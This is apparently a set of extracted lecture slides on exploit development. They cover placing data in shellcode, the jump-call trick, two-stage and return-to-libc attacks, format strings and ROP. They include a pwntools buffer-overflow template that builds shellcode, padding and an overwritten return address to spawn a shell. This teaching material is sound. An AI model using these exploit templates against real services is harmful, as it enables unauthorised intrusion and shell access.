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Placing Data in Shellcodes

push it on the stack and save the pointer

Data on stack

xor eax, eax

push eax

push 0x68732f2f

push 0x6e69622f

mov ebx, esp
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Placing Data in Shellcodes (2)

do a jump-call trick (http://stackoverflow.com/a/15704848)

jump-call trick

jmp MESSAGE ; 1) lets jump to MESSAGE

GOBACK:

mov eax, 0x4

mov ebx, 0x1

pop ecx ; 3) we are poping into ‘ecx‘, now we have the

; address of "Hello, World!\r\n"
MESSAGE:

call GOBACK ; 2) we are going back, since we used ‘call‘, that means

; the return address, which is in this case the address

; of "Hello, World!\r\n", is pushed into the stack.

db "Hello, World!", 0dh, 0ah
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Breaking a Remote Service

I stack addresses may differ even if not using ASLR

I you need a remote connection to send data: netcat, socket
API, expect/pexpect API

I you may need multiple ping-pongs with the remote service

I pwntools (https://github.com/Gallopsled/pwntools)
makes it easier
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Alphanumeric

I strict input validation

I very limited set of instructions

I http://www.phrack.org/issues.html?issue=57&id=15#

article

I use initial limited shell code to write extended shell code
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Using an Environment Variable

I initialize an environment variable with the shellcode string

I environment variable is placed on the stack of main

I may be large enough to store large shellcodes

I unable to be done if stack is non-executable
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Two-Stage Shellcodes

I enough to overwrite the code pointer

I not enough the store the shellcode

I only use the buffer to overwrite the code pointer

I place the shellcode in a different location
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Call main again

I two-phase attack

I overwrite the code pointer with the address of main (or that
of another function)

I call the vulnerable read/fgets/etc. function again

I you may use the first call to leak data or make some more
room and the second call for the actual attack
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I two-phase attack

I overwrite the code pointer with the address of main (or that
of another function)

I call the vulnerable read/fgets/etc. function again

I you may use the first call to leak data or make some more
room and the second call for the actual attack
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Using the Heap

I place the shellcode on the heap

I requires a heap buffer overflow

I made difficult by ASLR and non-executable flags
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String Formatting

I uses printf() functions that don’t do proper checking of
arguments

I may use %x and %s to read arbitrary data and string from
memory

I may use %n to write arbitrary data into memory and possibly
trigger a shellcode execution

I puts() may be used; pass an address with information you
want to leak
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Return-to-libc

I if stack is non-executable, one may not execute code on the
stack → no shellcode

I we could call the system library call with the ”/bin/bash”
argument

I with the help of a buffer overflow one overwrites the return
address causing a call to libc

I this is restricted to only functions available in libc

I one must know in advance the address of the system library
call

I the ”/bin/bash” may be stored in an environment variable (or
is already stored in the SHELL environment variable) and it’s
address may be placed on the stack
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Return-Oriented Programming

I using existing sequences ending in ret from the program
executable code

I sequences are programmed on the stack and then executed
one by one to provide the required effect

I sequences are called gadgets

I we’ll talk more about these in the future classes
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PEDA

Generate shellcode in PEDA

gdb-peda$ shellcode generate x86/linux exec
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pwntools

I https://docs.pwntools.com/en/stable/,
https://github.com/Gallopsled/pwntools

I automate exploiting tasks

I channels

I ELF inspection

I return oriented programming

I shellcodes

I packing/unpacking
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pwntools skeleton

Skeleton for using pwntools

from pwn import *

local = False

if local == True:

io = process("/path/to/executable")

else:

HOST = "141.85.100.200"

PORT = 31337

io = remote(HOST, PORT)

# TODO: Create shellcode, payload. Do ping-pong with the vulnerable program.

...
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pwntools example

pwntools example

from pwn import *

io = process("/path/to/executable")

buffer_start = 0x08424242

buffer_to_ret_address_offset = 0x2c

# Craft payload: shellcode + padding + ovewrite_address

shellcode = asm(shellcraft.i386.linux.sh())

payload = shellcode + (buffer_to_ret_address_offset - \
len(shellcode)) * "A" + p32(buffer_start)

# Send payload to overwrite return address with buffer

# start address (buffer stores shellcode).

io.send(payload)

# Do recv if required and other ping-pong with the vulnerable program.

...

# Turn interactive and use the shell.

io.interactive()
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The Metasploit Project

I http://www.metasploit.com/

I metasploit framework (open source) + metasploit project

I penetration testing platform

I ships with hundreds of exploits (payloads)

I makes it easy to develop exploits
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Useful Links

I http://www.blackhatlibrary.net/Category:Shellcode

I http://www.shell-storm.org/shellcode/

I http://www.metasploit.com/
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